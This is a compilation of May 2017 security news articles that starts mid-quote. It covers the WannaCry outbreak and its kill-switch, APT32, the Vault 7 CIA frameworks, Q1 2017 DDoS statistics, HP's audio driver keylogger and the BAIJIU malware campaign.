"Similar 0days are bought and sold almost every day, and many other organizations participate in these auctions - virtually anyone can (un)intentionally leak an exploit and cause similar damage," Kolochenko told SecurityWeek. "The real problem is that in 2017, the largest companies and governments still fail to patch publicly disclosed flaws for months. Practically speaking, the NSA doesn't really need a 0day to get their data - their negligence 'invite' attackers to get in."


"Patched" WannaCry Ransomware Has No Kill-Switch

15.5.2017 securityweek Ransomware
After researchers managed to stop the recent WannaCry ransomware outbreak by registering domains that function as kill-switches, a variant of the malware that no longer uses this function has emerged, security researchers warn.

WannaCry, also referred to as WanaCrypt0r, WannaCrypt, Wana Decrypt0r, and WCry, managed to wreak havoc worldwide over the past three days, hitting hospitals, ISPs, banks, government agencies, and carmakers, among others. The attacks started to propagate fast on Friday, with Europe hit the most, and Europol immediately designed a task force to assist in the investigation.

The threat managed to spread fast because of a worm component that abuses two recently disclosed NSA exploits targeting Windows. The first, EternalBlue, is abused to penetrate vulnerable machines, while the second, the DoublePulsar backdoor, is used to load the relevant payload DLL during exploitation.

Once it has infected a computer, the malware starts connecting to random IP addresses on port 445, which is used by Server Message Block (SMB), and uses this venue to propagate itself to other computers on the network. This also means that, the more computers are infected, the faster the malware can spread to new ones.

The EternalBlue vulnerability was patched by Microsoft with its March 2017 security updates (the MS17-010 patch), but only on supported platforms. Because of the severity of the ransomware outbreak, Microsoft issued an emergency patch for older versions of Windows versions that no longer receive mainstream support: Windows XP, Windows 8, and Windows Server 2003.

Because many companies (and end-users alike) fail to install operating system updates immediately after they are issued, chances are that the remedy won’t be immediately effective. What did help prevent the ransomware from running its malicious routines and from spreading further, however, was the registering of a domain used by the malware.

Security researcher @MalwareTech noticed that the malware was making calls to a “long nonsensical domain name” and decided to register it, only to discover later that he stopped the spreading. WannaCry would beacon to the domain before starting its malicious routine, but did not expect a response, given that the domain wasn’t registered. If a response did come and the domain was alive, however, the threat would terminate execution and no longer infect the machine.

The use of such a domain was supposedly meant to help the malware avoid sandbox analysis, Bitdefender e-threat analyst Bogdan Botezatu told SecurityWeek. When it detects requests to a domain that doesn’t exist, the sandbox creates the domain on the fly to capture the traffic the malware would generate. To prevent that, malicious programs terminate when receiving a response, as that is an indicator of a sandbox being used.

When the security researcher registered the domain (which was hardcoded in the malware), WannaCry started treating all newly compromised machines as sandboxes and terminated the infection routine (but that didn’t help those already infected). This hardcoded domain was called “kill-switch” and proved highly effective in stopping the threat, yet it didn’t take long before new variants that used different kill-switch domains started making the rounds.

To make the matter worse, variations without the kill-switch have also emerged, though some of them appear to feature a corrupted ransomware archive, meaning that user’s files don’t end up being encrypted. Others, however refute such claims, suggesting that this only applies to the ransomware payload, which lacks the spreading wrapper.

During a phone call with SecurityWeek, Bogdan Botezatu said the “no kill-switch” variation he observed is actually the original ransomware that has been patched with the help of a hex editor. Basically, code was added to ensure the kill-switch routine is skipped during infection, and the difference between the normal variant and the “no kill-switch” one is of only 2 bytes, he says.

While he couldn’t attribute the WannaCry attacks to a specific individual or group of cybercriminals, Botezatu did say that the same actor appears to be operating both variants (with and without kill-switch) of the ransomware.

“There are some samples that don’t come with the kill-switch domain. Both versions (kill-switch enabled and non-kill-switch) are operated by the same gang as the Bitcoin wallets harvesting the ransom are the same,” he said.

Although over 200,000 machines have been infected to date, the WannaCry authors have made an estimated $40,000 so far, an analysis of the known wallets reveals. That might not seem like much, but the fact that the outbreak happened over the weekend certainly had something to do with it. Now that the weekend is over, the number of payments made to the associated Bitcoin addresses could increase.

As it turns out, the worm component in this malware – the one responsible for the outbreak – is what made the threat stand out, but the ransomware component is nothing to write home about and doesn’t include the same level of sophistication as Locky, Cerber, or Jaff display. Initially spotted by Malwarebytes researcher S!Ri in early February, WannaCry previously used email spam and malware droppers for distribution.

The ransomware is believed to be the work of an inexperienced group, mainly because only three Bitcoin addresses are being used to collect payments, meaning that the actors will have a hard time knowing who paid the ransom and who didn’t. The ransomware, however, doesn’t include flaws and researchers can’t decrypt victims’ files for free just yet.

“The ransomware component is not something out of the ordinary. On the contrary, the presence of a kill-switch and the nearly-identical implementation of the EternalBlue wormable feature with an open-source project hints that the operators are opportunistic attackers than veteran malware operators,” Botezatu said.

“This family of ransomware is something that may be hot today, but the exploitation avenue will be used by all cyber-crime operators to plant all sorts of malware. Step zero here for all Windows users would be to install the hotfix dealing with MS17-010, followed by the installation of an anti-malware solution, if they don’t have any. Last, but not least, as we’re talking about ransomware, users should take regular backups of their data so they have something to restore from if they fall victim,” he concluded.


APT32: Vietnamese Hackers Target Foreign Corporations

15.5.2017 securityweek APT
APT32 is the "newest named advanced persistent threat group," according to a new report from FireEye. Published yesterday, the report shows it to be a sophisticated and well-resourced cyber espionage actor targeting Vietnamese interests around the globe -- and although not-previously classified in the APTn schema, it has been operating since at least 2013. The APT designation was also commenced back in 2013, when Mandiant used it to describe the first hacking group, APT1, that it was willing to call 'state-sponsored'.

FireEye's analysis stops short of defining APT32 as another state-sponsored hacking group; but that is the clear suspicion. "APT32," writes Nick Carr, senior manager of FireEye's Mandiant Incident Response team, "leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests."

He subsequently told Reuters it was impossible to identify or locate the hackers precisely or confirm they were working for the Vietnamese government but the information they sought would be of very little use to any other party. He also said that in some cases the intrusions seemed to be assessing the victims' adherence to national regulations.

The Vietnamese government denies this. "The government of Vietnam does not allow any form of cyber-attacks against organizations or individuals," said foreign ministry spokeswoman Le Thi Thu Hang. "All cyber-attacks or threats to cybersecurity, must be condemned and severely punished in accordance with regulations and laws."

The APT32 targets include a European corporation that was about to construct a manufacturing facility in Vietnam in 2014; numerous Vietnamese and foreign corporations in 2016; a hospitality developer planning to expand operations in Vietnam in 2016; and the Vietnamese offices of a global consulting firm in 2017. In all cases, espionage would give the Vietnam government either a commercial advantage in discussions, or greater understanding of foreign companies within the country.

Other attacks, however, have been targeted at individuals outside of Vietnam -- more specifically governments, journalists, and members of the Vietnam diaspora who, warns Carr, "may continue to be targeted."

FireEye's isolation of APT32 followed its investigations into intrusions at several corporations with business interests in Vietnam. These investigations provided "sufficient technical evidence to link twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEye's newest named advanced persistent threat group: APT32."

FireEye's analysis of APT32's current campaign depicts a well-resourced and innovative attacker. It uses phishing emails containing a weaponized attachment. Unusually, the attachment is not a Word document but an ActiveMime (an undocumented Microsoft format) file. This file contains an OLE file containing malicious macros.

The attacker also used a novel approach to track the success of its phishing emails, using legitimate cloud-based email analytics. The phishing attachment can contain HTML image tags. "When a document with this feature is opened," writes Carr, "Microsoft Word will attempt to download the external image, even if macros were disabled. In all phishing lures analyzed, the external images did not exist. Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images. When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms."

If the macros are successfully loaded, they create two scheduled tasks to act as persistence mechanisms for two backdoors. The first launches Squiblydoo, an application whitelisting script protection bypass, to enable the download of a backdoor from APT's infrastructure. The second leads to a secondary backdoor delivered as a multi-stage PowerShell script configured to communicate with the domains blog.panggin[.]org, share.codehao[.]net, and yii.yiihao126[.]net.

APT32's persistence and obfuscation goes further. "Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon's Invoke-Obfuscation framework," notes the analysis.

It is APT32's use of a custom suite of backdoors that has helped FireEye tie different campaigns to this one particular group. That suite includes Windshield, Komprogo, Soundbite, Phoreal, and Beacon. "FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests," writes Carr. He warns that APT32 demonstrates that state-sponsored cyber espionage is no longer necessarily limited to the few known actors: China, Iran, Russia, and North Korea.

"As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nation-state intrusions that go beyond public sector and intelligence targets."


WikiLeaks Details More Windows Attack Tools Used by CIA

15.5.2017 securityweek BigBrothers
WikiLeaks has published another round of documents describing tools allegedly used by the U.S. Central Intelligence Agency (CIA). The latest dump in the “Vault 7” series details two Windows frameworks named “AfterMidnight” and “Assassin.”

AfterMidnight is described as a DLL that self-persists as a Windows service and provides secure execution for “Gremlins,” hidden payloads that allow attackers to subvert the functionality of targeted software, exfiltrate data, and provide internal services for other Gremlins.

The tool’s developers also provide a payload called “AlphaGremlin,” which can be used to schedule the execution of custom tasks on a compromised machine.

Assassin is a similar implant that allows attackers to execute various tasks on a hacked machine, such as downloading and running an executable, collecting task results, and deleting the executable. Both tools receive instructions from command and control (C&C) servers.

WikiLeaks has regularly published Vault 7 files since March 7, including documents describing tools that can be used for man-in-the-middle (MitM) attacks on the LAN, Samsung smart TV hacking tools, a framework used to make attribution and analysis of malware more difficult, and a platform designed for creating custom malware installers.

However, the organization has not published any actual exploits in an effort to prevent abuse. The recent WannaCry ransomware attacks, which rely on exploits allegedly developed by the NSA and leaked by the Shadow Brokers, have demonstrated that leaking exploits developed by intelligence agencies could have serious consequences.

WikiLeaks has offered to share exploit code with affected tech companies, but it appears they are not too keen to work with the whistleblower organization. On the other hand, based on the available information, many have determined that the vulnerabilities described in the Vault 7 files have already been patched in the latest versions of their products.

Cisco did find a critical vulnerability affecting hundreds of its switches in the Vault 7 leak. The company informed customers of the flaw back in March, but it only recently started releasing patches.

The tools leaked by Shadow Brokers have been linked to the Equation Group, which is believed to be run by the NSA. In the case of the Vault 7 files, researchers have tied them to a cyber espionage group tracked as “Longhorn” and “The Lamberts.”


Cyberattacks Ease After Global Pushback, Putin Points Finger at U.S.

15.5.2017 securityweek Attack
The world's biggest ransomware attack leveled off on Monday after wreaking havoc in 150 countries, as Russian President Vladimir Putin called it payback for the US intelligence services.

Microsoft's president and chief legal officer Brad Smith has said the US National Security Agency developed the original code used in the attack, which was later leaked in a document dump.

"Microsoft's leadership stated this directly, they said the source of the virus was the special services of the United States," Putin said on the sidelines of a summit in Beijing.

"A genie let out of a bottle of this kind, especially created by secret services, can then cause damage to its authors and creators," Putin said.

Russia has been accused of cyber meddling in several countries around the world in recent years.

But Putin said they had anything to do with the attack, which hit hundreds of thousands of computers.

"A protection system... needs to be worked out," he said.

Smith earlier said he hoped the attacks would serve as "a wake-up call".

He warned governments against stockpiling code that could be used in this way left it fall into the wrong hands and said instead they should point out the vulnerabilities to manufacturers.

"An equivalent scenario with conventional weapons would be the US military having some of its Tomahawk missiles stolen," Smith wrote.

There had been concern that Monday could see an upsurge in attacks at the start of the working week but fears eased as the number of incidents reported levelled off.

The cross-border police agency Europol said the situation was now "stable", defusing concerns that attacks that struck computers in British hospital wards, European car factories and Russian banks would spread further at the start of the working week.

"The number of victims appears not to have gone up and so far the situation seems stable in Europe, which is a success," senior spokesman for Europol, Jan Op Gen Oorth, told AFP.

"It seems that a lot of internet security guys over the weekend did their homework and ran the security software updates," he said.

- Like stealing missiles -

The indiscriminate attack was unleashed Friday, striking hundreds of thousands of computers worldwide by exploiting known vulnerabilities in older Microsoft computer operating systems.

US package delivery giant FedEx, Spanish telecoms giant Telefonica and Germany's Deutsche Bahn rail network were among those hit in the attacks, which demanded money to allow users to unblock their computers.

In China, "hundreds of thousands" of computers were affected, including petrol stations, cash machines and universities, according to Qihoo 360, one of China's largest providers of antivirus software.

French carmaker Renault said its Douai plant, one of its biggest sites in France employing 5,500 people, would be shut on Monday as systems were upgraded.

Europol executive director Rob Wainwright told Britain's ITV television on Sunday that the attack had been "unprecedented".

"We've never seen anything like this," he said.

- 'Ooops' message, $300 ransom -

The attack blocks computers and puts up images on victims' screens demanding payment of $300 (275 euros) in the virtual currency Bitcoin, saying: "Ooops, your files have been encrypted!"

Payment is demanded within three days or the price is doubled, and if none is received within seven days the locked files will be deleted, according to the screen message.

Bitcoin, the world's most-used virtual currency, allows anonymous transactions via heavily encrypted codes.

Experts and governments alike warn against ceding to the demands and Wainwright said few victims so far had been paying up.

Security firm Digital Shadows said on Sunday that transactions totalling $32,000 had taken place through Bitcoin addresses used by the ransomware.

The culprits used a digital code believed to have been developed by the US NSA -- and subsequently leaked as part of a document dump, according to researchers at the Moscow-based computer security firm Kaspersky Lab.

A hacking group called Shadow Brokers released the malware in April, claiming to have discovered the flaw from the NSA, Kaspersky said.

The attack is unique, according to Europol, because it combines ransomware with a worm function, meaning once one machine is infected, the entire internal network is scanned and other vulnerable machines are infected.

The attack therefore spread faster than previous, smaller-scale ransomware attacks.

- Banks, trains and automobiles -

Anti-virus experts Symantec said the majority of organisations affected were in Europe.

Russia said its banking system was among the victims of the attacks, along with the railway system, although it added that no problems were detected.

French carmaker Renault was forced to stop production at sites in France, Slovenia and Romania, while FedEx said it was "implementing remediation steps as quickly as possible".

A fifth of regional hospital associations in Britain's National Health Service were affected and several still had to cancel appointments on Monday, as doctors warned of delays as they cannot access medical records.


WikiLeaks Reveals 'AfterMidnight' & 'Assassin' CIA Windows Malware Frameworks
15.5.2017 thehackernews BigBrothers

When the world was dealing with the threat of the self-spreading WannaCry ransomware, WikiLeaks released a new batch of CIA Vault 7 leaks, detailing two apparent CIA malware frameworks for the Microsoft Windows platform.
Dubbed "AfterMidnight" and "Assassin," both malware programs are designed to monitor and report back actions on the infected remote host computer running the Windows operating system and execute malicious actions specified by the CIA.
Since March, WikiLeaks has published hundreds of thousands of documents and secret hacking tools that the group claims came from the US Central Intelligence Agency (CIA).
This latest batch is the 8th release in the whistleblowing organization's 'Vault 7' series.
'AfterMidnight' Malware Framework
According to a statement from WikiLeaks, 'AfterMidnight' allows its operators to dynamically load and execute malicious payload on a target system.
The main controller of the malicious payload, disguised as a self-persisting Windows Dynamic-Link Library (DLL) file and executes "Gremlins" – small payloads that remain hidden on the target machine by subverting the functionality of targeted software, surveying the target, or providing services for other gremlins.
Once installed on a target machine, AfterMidnight uses an HTTPS-based Listening Post (LP) system called "Octopus" to check for any scheduled events. If found one, the malware framework downloads and stores all required components before loading all new gremlins in the memory.

According to a user guide provided in the latest leak, local storage related to AfterMidnight is encrypted with a key which is not stored on the target machine.
A special payload, called "AlphaGremlin," contains a custom script language which even allows operators to schedule custom tasks to be executed on the targeted system.
'Assassin' Malware Framework
Assassin is also similar to AfterMidnight and described as "an automated implant that provides a simple collection platform on remote computers running the Microsoft Windows operating system."
Once installed on the target computer, this tool runs the implant within a Windows service process, allowing the operators to perform malicious tasks on an infected machine, just like AfterMidnight.
Assassin consists of four subsystems: Implant, Builder, Command and Control, and Listening Post.
The 'Implant' provides the core logic and functionality of this tool on a target Windows machine, including communications and task execution. It is configured using the 'Builder' and deployed to a target computer via some undefined vector.
The 'Builder' configures Implant and 'Deployment Executables' before deployment and "provides a custom command line interface for setting the Implant configuration before generating the Implant," reads the tool's user guide.
The 'Command and Control' subsystem acts as an interface between the operator and the Listening Post (LP), while the LP allows the Assassin Implant to communicate with the command and control subsystem through a web server.
Last week, WikiLeaks dumped a man-in-the-middle (MitM) attack tool, called Archimedes, allegedly created by the CIA to target computers inside a Local Area Network (LAN).
This practice by the US intelligence agencies of holding vulnerabilities, rather than disclosing them to the affected vendors, wreaked havoc across the world in past 3 days, when the WannaCry ransomware hit computers in 150 countries by using an SMB flaw that the NSA discovered and held, but "The Shadow Brokers" subsequently leaked it over a month ago.
Microsoft Slams NSA For Its Role in 'WannaCry' Attack
Even Microsoft President Brad Smith condemned the US intelligence agency’s practice, saying that the "widespread damage" caused by WannaCry happened due to the NSA, CIA and other intelligence agencies for holding zero-day security vulnerabilities.
"This is an emerging pattern in 2017. We have seen vulnerabilities stored by the CIA show up on WikiLeaks, and now this vulnerability stolen from the NSA has affected customers around the world," Smith said.
Since March, the whistleblowing group has published 8 batches of "Vault 7" series, which includes the latest and last week leaks, along with the following batches:
Year Zero – dumped CIA hacking exploits for popular hardware and software.
Weeping Angel – spying tool used by the agency to infiltrate smart TV's, transforming them into covert microphones.
Dark Matter – focused on hacking exploits the agency designed to target iPhones and Macs.
Marble – revealed the source code of a secret anti-forensic framework, basically an obfuscator or a packer used by the CIA to hide the actual source of its malware.
Grasshopper – reveal a framework which allowed the agency to easily create custom malware for breaking into Microsoft's Windows and bypassing antivirus protection.
Scribbles – a piece of software allegedly designed to embed 'web beacons' into confidential documents, allowing the spying agency to track insiders and whistleblowers.


DDOS attacks in Q1 2017
15.5.2017 Kaspersky Analysis  Attack

Thanks to IoT botnets, DDoS attacks have finally turned from something of a novelty into an everyday occurrence. According to the A10 Networks survey, this year the ‘DDoS of Things’ (DoT) has reached critical mass – in each attack, hundreds of thousands of devices connected to the Internet are being leveraged.

The fight against this phenomenon is just beginning – IoT equipment vendors are extremely slow to strengthen information security measures in their own products. However, certain successes have been achieved in combating attackers behind the DDoS of Things. The well-known info security journalist Brian Krebs managed to identify the author of the infamous IoT malware Mirai. In the UK, the author of an attack on Deutsche Telekom was arrested. According to the charges, he allegedly assembled an IoT botnet from routers in order to sell access to it. He faces up to 10 years in prison in Germany.

Cheaper DoS tools and a growth in their number has caused an inevitable increase in the number of attacks on notable resources. For instance, unknown attackers took down the site of the Austrian Parliament, as well as more than a hundred government servers in Luxembourg. No one took responsibility for the attacks and no demands were made, which may mean the attacks were a test run, or simply hooliganism.

Plans by supporters of the Democratic Party to launch a massive attack on the White House site as a protest against the election of Donald Trump the US president came to nothing – there were no reports of problems with the site. Nevertheless, DDoS attacks have taken root in the US as a type of political protest. Two weeks before the inauguration, the conservative news site Drudge Report, which actively supported Trump during the election campaign, was attacked.

Law enforcement agencies took notice of this alarming trend, and the US Department of Homeland Security eventually stepped in to provide protection from DDoS attacks. The Department declared it aimed to “build effective and easily implemented network defenses and promote adoption of best practices by the private sector” in order “to bring about an end to the scourge of DDoS attacks.”

However, the main goal of the DDoS authors is still to make money. In this respect, banks and broker companies remain the most attractive targets. DDoS attacks are capable of causing such serious material and reputational damage that many organizations prefer to pay the cybercriminals’ ransom demands.

Trends of the quarter

There’s usually a distinct lull in DDoS attacks at the beginning of the year. This may be due to the fact that the people behind these attacks are on vacation, or perhaps there’s less demand from their customers. In any case, this trend has been observed for the last five years – Q1 is off season. The first quarter of this year was no exception: Kaspersky Lab’s DDoS prevention group recorded very low attack activity. This was in stark contrast to the fourth quarter of 2016. However, despite the now habitual downturn, Q1 of 2017 saw more attacks than the first quarter of 2016, which confirms the conclusion that the overall number of DDoS attacks is growing.

Due to the traditional Q1 lull, it’s too early to talk about any trends for 2017; however, a few interesting features are already noticeable:

1. Over the reporting period, not a single amplification-type attack was registered, although attacks to overload a channel without amplification (using a spoofed IP address) were in constant use. We can assume that amplification attacks are no longer effective and are gradually becoming a thing of the past.

2. The number of encryption-based attacks has increased, which is in line with last year’s forecasts and current trends. However, this growth cannot as yet be called significant.

As we predicted, complex attacks (application-level attacks, HTTPS) are gaining in popularity. One example was the combined attack (SYN + TCP Connect + HTTP-flood + UDP flood) on the Moscow stock exchange. A distinct feature of this attack was its rare multi-vector nature in combination with relatively low power (3 Gbps). To combat such attacks, it’s necessary to use the latest complex protection mechanisms.

Yet another unusual attack affected the site of the Portuguese police force. A notable feature of this attack was the use of vulnerabilities in reverse proxy servers to generate attack traffic. We assume the cybercriminals were trying to disguise the real source of the attack; and to generate traffic, new types of botnets were used, consisting of vulnerable reverse proxies.

On the whole, Q1 2017 didn’t bring any surprises. In the second quarter, we expect to see a gradual increase in the proportion of distributed attacks. Based on the next quarter’s results, it may be possible to get an idea of what we will face in 2017. For now, we can only guess.

Statistics for botnet-assisted DDoS attacks

Methodology

Kaspersky Lab has extensive experience of combating cyber threats, including DDoS attacks of various types and complexity. The company’s experts monitor botnet activity with the help of the DDoS Intelligence system. DDoS Intelligence (part of Kaspersky DDoS Protection) is designed to intercept and analyze commands sent to bots from command and control (C&C) servers, and does not have to wait until user devices are infected or cybercriminal commands are executed in order to gather data.

This report contains the DDoS Intelligence statistics for the first quarter of 2017.

In the context of this report, a single (separate) DDoS attack is defined as an incident during which any break in botnet activity lasts less than 24 hours. If the same web resource was attacked by the same botnet after a break of more than 24 hours, this is regarded as a separate DDoS attack. Attacks on the same web resource from two different botnets are also regarded as separate attacks.

The geographic distribution of DDoS victims and C&C servers is determined according to their IP addresses. In this report, the number of DDoS targets is calculated based on the number of unique IP addresses reported in the quarterly statistics.

It is important to note that DDoS Intelligence statistics are limited to those botnets detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools used to carry out DDoS attacks; therefore, the data presented in this report does not cover every DDoS attack that has occurred within the specified time period.

Q1 Summary

Resources in 72 countries (vs. 80 in Q4 2016) were targeted by DDoS attacks in Q1 2017.
47.78% of targeted resources were located in China which is significantly lower than the previous quarter (71.60%).
China, South Korea and the US remained leaders in terms of both number of DDoS attacks and number of targets, while the Netherlands replaced China in terms of number of detected servers.
The longest DDoS attack in Q1 2017 lasted for 120 hours – 59% shorter than the previous quarter’s maximum (292 hours). A total of 99.8% of attacks lasted less than 50 hours.
The proportion of attacks using TCP, UDP and ICMP grew considerably, while the share of SYN DDoS declined from 75.3% in Q4 2016 to 48% in the first quarter of 2017.
For the first time in a year, activity by Windows-based botnets has exceeded that of Linux botnets, with their share increasing from 25% last quarter to 59.8% in Q1 2017.
Geography of attacks

In Q1 2017, the geography of DDoS attacks narrowed to 72 countries, with China accounting for 55.11% (21.9 p.p. less than the previous quarter). South Korea (22.41% vs. 7.04% in Q4 2016) and the US (11.37% vs. 7.30%) were second and third respectively.

The Top 10 most targeted countries accounted for 95.5% of all attacks. The UK (0.8%) appeared in the ranking, replacing Japan. Vietnam (0.8%, + 0.2 p.p.) moved up from seventh to sixth, while Canada (0.7%) dropped to eighth.

DDOS attacks in Q1 2017

Distribution of DDoS attacks by country, Q4 2016 vs. Q1 2017

Statistics for the first quarter show that the 10 most targeted countries accounted for 95.1% of all DDoS attacks.

DDOS attacks in Q1 2017

Distribution of unique DDoS attack targets by country, Q4 2016 vs. Q1 2017

Similar to the ranking for attack numbers, targets in China received much less attention from cybercriminals in Q1 2017 – they accounted for 47.78% of attacks, although China still remained the leader in this respect. In fact, the top three remained unchanged from the previous quarter despite dramatic growth in South Korea’s share (from 9.42% to 26.57%) and that of the US (from 9.06% to 13.80%).

Russia (1.55%) fell from fourth to fifth place, after its share fell by just 0.14 p.p. Hong Kong took its place (+ 0.35 p.p.). Japan and France were replaced in the Top 10 by the Netherlands (0.60%) and the UK (1.11%).

Changes in DDoS attack numbers

In Q1 2017, the number of attacks per day ranged from 86 to 994. Most attacks occurred on 1 January (793 attacks), 18 February (994) and 20 February (771). The quietest days of Q1 were 3 February (86 attacks), 6 February (95), 7 February (96) and 15 March (91). The overall decline in the number of attacks from the end of January to mid-February, as well as the downturn in March, can be attributed to the decrease in activity by the Xor.DDoS bot family, which made a significant contribution to the statistics.

DDOS attacks in Q1 2017

Number of DDoS attacks over time* in Q1 2017

* DDoS attacks may last for several days. In this timeline, the same attack may be counted several times, i.e. one time for each day of its duration.

The distribution of DDoS activity by day of the week saw little change from the previous quarter. Saturday was the busiest day of the week in Q1 for DDoS attacks (16.05% of attacks). Monday remained the quietest day of the week (12.28%).

DDOS attacks in Q1 2017

Distribution of DDoS attack numbers by day of the week, Q4 2016 and Q1 2017

Types and duration of DDoS attacks

In the first quarter of 2017, there was a sharp increase in the number and proportion of TCP DDoS attacks – from 10.36% to 26.62%. The percentage of UDP and ICMP attacks also grew significantly – from 2.19% to 8.71% and from 1.41% to 8.17% respectively. Meanwhile, the quarter saw a considerable decline in the share of SYN DDoS (48.07% vs. 75.33%) and HTTP (from 10.71% to 8.43%) attacks.

The increase in the proportion of TCP attacks was due to greater bot activity by the Yoyo, Drive and Nitol families. The growth in ICMP attacks is the result Yoyo and Darkrai activity. Darkrai bots also began conducting more UDP attacks, which was reflected in the statistics.

DDOS attacks in Q1 2017

Distribution of DDoS attacks by type, Q4 2016 and Q1 2017

In the first quarter of 2017, few attacks lasted more than 100 hours. The biggest proportion of attacks lasted no more than four hours – 82.21%, which was 14.79 p.p. more than in the previous quarter. The percentage of even longer attacks decreased considerably: the share of attacks lasting 50-99 hours accounted for 0.24% (vs. 0.94% in Q4 2016); the share of attacks that lasted 5-9 hours decreased from 19.28% to 8.45%; attacks lasting 10-19 hours fell from 7% to 5.05%. Meanwhile, the proportion of attacks that lasted 20-49 hours grew slightly – by 1 p.p.

The longest DDoS attack in the first quarter lasted for only 120 hours, 172 hours shorter than the previous quarter’s maximum.

DDOS attacks in Q1 2017

Distribution of DDoS attacks by duration (hours), Q4 2016 and Q1 2017

C&C servers and botnet types

In Q1, the highest number of C&C servers was detected in South Korea: the country’s contribution increased from 59.06% in the previous quarter to 66.49%. The US (13.78%) came second, followed by the Netherlands with 3.51%, which replaced China (1.35%) in the Top 3 countries hosting the most C&C servers. The total share of the three leaders accounted for 83.8% of all detected C&C servers.

The Top 10 also saw considerable changes. Japan, Ukraine and Bulgaria left the ranking and were replaced by Hong Kong (1.89%), Romania (1.35%) and Germany (0.81%). Of special note was China’s sharp decline: the country dropped from second place to seventh.

DDOS attacks in Q1 2017

Distribution of botnet C&C servers by country in Q1 2017

The distribution of operating systems changed drastically in Q1: Windows-based DDoS bots surpassed the trendy new IoT bots, accounting for 59.81% of all attacks. This is the result of growing activity by bots belonging to the Yoyo, Drive and Nitol families, all of which were developed for Windows.

DDOS attacks in Q1 2017

Correlation between attacks launched from Windows and Linux botnets, Q4 2016 and Q1 2017

The majority of attacks – 99.6% – were carried out by bots belonging to a single family. Cybercriminals launched attacks using bots from two different families in just 0.4% of cases. Attacks involving bots from three families were negligible.

Conclusion

Although the first quarter of 2017 was rather quiet compared to the previous reporting period, there were a few interesting developments. Despite the growing popularity of IoT botnets, Windows-based bots accounted for 59.81% of all attacks. Meanwhile, complex attacks that can only be repelled with sophisticated protection mechanisms are becoming more frequent.

In Q1 2017, not a single amplification attack was recorded, which suggests that their effectiveness has declined. We can assume that this type of attack is gradually becoming a thing of the past. Another trend evident this quarter is the rise in the number of encryption-based attacks. However, it cannot be described as significant yet.


HP Removes Keylogger Functionality From Audio Drivers

15.5.2017 securityweek Virus
HP informed users on Friday that it has updated audio drivers for some of its laptops and tablet PCs to remove keylogger functionality discovered by security researchers.

Swiss security firm Modzero warned on Thursday that an application installed on many HP devices with Conexant audio drivers logged keystrokes in a file and transmitted them to a debugging API, allowing a local user or process to easily access passwords and other potentially sensitive data typed by users.

The vulnerability, identified as CVE-2017-8360, has been found to affect 28 HP laptops and tablet PCs, including EliteBook, ProBook, Elite X2 and ZBook models. Devices from other vendors that use hardware and drivers from Conexant could be affected as well, but the audio chip maker has yet to provide any information.

The keylogging capabilities are part of a keystroke monitoring functionality designed to determine if the user has pressed any special audio keys (e.g. mute/unmute).

Researchers said there was no evidence that the keylogging functionality had been implemented intentionally, and noted that it was likely a result of negligence.

“If the developer would just disable all logging, using debug-logs only in the development environment, there wouldn't be problems with the confidentiality of the data of any user,” said Thorsten Schroeder, the expert who found the bug.

HP has released an update for the audio driver, and it has promised to publish a security advisory providing more details. The company claims the bug does not allow it to access customer data.

“Our supplier partner developed software to test audio functionality prior to product launch and it should not have been included in the final shipped version,” HP stated.

Some keylogger functionality has existed since at least version 1.0.0.31, released in December 2015. Keystrokes have been logged to a file since October 2016, when version 1.0.0.46 was made available.

The issue has been addressed with the release of version 10.0.931.90. Users can obtain the update from hp.com by searching for the latest audio driver for their model.


BAIJIU Malware abuses Japanese Web hosting service to target North Korea
15.5.2017 securityaffairs  Virus

Security researchers from Cylance discovered a new fileless malware dubbed BAIJIU that was used to targets North Korea.
Security experts believe the threat has a Chinese origin, attackers delivered it through a phishing campaign.

“BAIJIU, which evades widespread detection, abuses global concern about the dire humanitarian situation in North Korea. It enters the target environment through an LNK file on the end of a phishing hook with the following bait:

“2016 North Korea Hamgyung [sic] province flood insight.” reads the analysis published by the experts.

“The lure is a reference to a natural disaster that took place in late August 2016, when Typhoon Lionrock triggered massive flooding that wiped out much of North Korea’s province of North Hamgyong, impacting more than half a million people, drawing worldwide notice, and commanding international news coverage for several months.”

According to the experts at Cylance, the campaign is characterized by an unusual complexity of the attack.

The attackers compromised the web hosting service GeoCities and used a downloader that is being called Typhoon along with a set of backdoors dubbed Lionrock.

“Three distinctive elements of BAIJIU drew and held our attention: the unusual complexity of the attack; the appropriation of web hosting service GeoCities (of 1990s fame); and the use of multiple methods of obfuscation. These features have, as far as we can see, helped BAIJIU evade nearly every antivirus (AV) solution.” continues the analysis.

Attackers leveraged on a multi-state obfuscation process and fileless malware making hard its detection.

“Cylance believes TYPHOON/LIONROCK’s provenance is likely Chinese, and that it probably evolved from the Egobot codebase first described by Symantec here and is subsequently connected to the larger Dark Hotel Operation written up by Kaspersky here.”

“Three distinctive elements of Baijiu drew and held our attention,” writes Cylance in an analysis published today: “the unusual complexity of the attack; the appropriation of web hosting service GeoCities (of 1990s fame); and the use of multiple methods of obfuscation.”

Baijiu malware

The LNK file executes a Windows command that downloads and runs javascript code. The javascript downloads two DLLs, “nomz32.tmp” and “nomz64.tmp”, that have been hosted by attackers on GeoCities Japan.

The two files were a 32bit and 64bit DLL, respectively, attackers removed the “MZ” header to decrease the detection rates.

“The files both conveniently utilized the same string-encoding algorithm as the JavaScript, which sped up analysis quite a bit. Both DLLs functioned as elaborate launchers for a PowerShell script encoded within their resource sections.” continues the analysis. “Instead of utilizing the FindResource or FindResourceEx functions, the backdoors mapped the entire file using CreateFileMappingW and MapViewOfFile, then proceeded to search for the string “<<<:resource”.”

The PowerShell script searches for GeoCities URLs with specifically named files, if the query doesn’t produce results the script halts nothing. Experts at Cylance analyzed another PowerShell script responsible for delivering and executing the final payloads.

Researchers discovered full-featured backdoors used by attackers to manipulate the local file system, transfer files and capture screenshots.

